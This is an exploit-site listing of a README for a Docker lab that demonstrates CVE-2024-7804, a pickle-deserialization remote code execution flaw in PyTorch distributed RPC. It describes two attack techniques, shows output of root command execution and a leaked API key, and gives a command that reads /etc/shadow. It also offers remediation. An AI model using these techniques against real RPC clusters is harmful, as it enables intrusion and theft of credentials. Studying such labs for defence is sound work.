Sploitus

Exploit for CVE-2024-7804

githubexploit Β· 2026-09-06

Exploit Code

README110 lines
## https://sploitus.com/exploit?id=2D93B244-8F3D-5DCB-9F34-6D5E97827678
# CVE-2024-7804 β€” PyTorch Distributed RPC Unsafe Deserialization (RCE)

Self-contained lab + exploit for **CVE-2024-7804**: remote code execution in
PyTorch's distributed RPC framework (`torch.distributed.rpc`) through unsafe
deserialization of untrusted data (**CWE-502**).

- **Affected:** `torch  Note: this advisory was later **withdrawn/rejected** by the maintainers and Red
> Hat as "known functionality" β€” PyTorch RPC is by design a *trusted-peer* system.
> The lab is still an accurate, hands-on demonstration of the reported issue.

## The vulnerability

Every RPC call ships a `PythonUDF` namedtuple (`func`, `args`, `kwargs`). On the
receiving node it is rebuilt with a **bare `pickle.Unpickler`**, with no allowlist
and no integrity check:

```python
# torch/distributed/rpc/internal.py  (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
    ...
    unpickler = _unpickler(io.BytesIO(binary_data))   # _unpickler = pickle.Unpickler
    ret = unpickler.load()                            # <-- attacker-controlled pickle
    ...
```

Any peer that can join the RPC "world" can therefore make the node run arbitrary
code β€” either via a pickle `__reduce__` gadget that fires **during** `load()`, or
simply by naming any importable callable as the UDF, since nothing restricts what
the node will execute.

## Layout

```
CVE-2024-7804/
β”œβ”€β”€ docker-compose.yml   # victim + attacker on one bridge network
β”œβ”€β”€ lab/
β”‚   β”œβ”€β”€ Dockerfile       # python:3.11-slim + torch 2.3.1 (CPU) β€” the vulnerable image
β”‚   └── server.py        # victim: a trusting RPC worker that waits for peers
└── exploit/
    └── exploit.py       # attacker: joins the world and lands RCE on the victim
```

## Requirements

Docker with the Compose plugin. CPU-only (no GPU), works on amd64 and arm64.

## Run it

```bash
# 1. Start the vulnerable victim node (rank 0, waits for a peer)
docker compose up --build -d victim

# 2. Fire the exploit (default: run a command on the victim and get its stdout back)
docker compose run --rm attacker

# 3. Tear everything down
docker compose down
```

### Expected output (default technique)

```
[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====
```

The attacker executed commands **as root on the victim** and exfiltrated a file it
was never meant to expose.

## Two techniques in the exploit

| Command | What it shows |
|---|---|
| `docker compose run --rm attacker` | Sends `subprocess.check_output` as the UDF. The victim runs the command and returns its stdout β€” RCE **and** exfiltration in one call. |
| `docker compose run --rm attacker python exploit.py --reduce` | Sends an object whose `__reduce__` runs `os.system` **while the victim unpickles** the payload β€” RCE at deserialization time (the essence of CWE-502), before the UDF is even called. |

Custom command:

```bash
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"
```

For `--reduce`, the command runs on the victim, so watch it there:

```bash
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim        # the output appears in the VICTIM's log
```

The victim log for `--reduce` ends with a traceback at
`torch/distributed/rpc/internal.py`, line ~207 (`python_udf.func(...)`) β€” proof the
payload was already reconstructed and executed by the unsafe unpickler.

## Remediation

- Upgrade past the affected line and follow PyTorch's guidance: **only run RPC
  between mutually trusted nodes on a trusted network**.
- Never expose an RPC rendezvous port (default `29500`) to untrusted networks.
- Treat any pickle-based protocol as code execution: authenticate and encrypt
  peers (e.g. mTLS), and isolate RPC workers.

## Disclaimer

For education and authorized security testing only. The lab is **intentionally
vulnerable** β€” do not deploy it, and only run the exploit against this lab.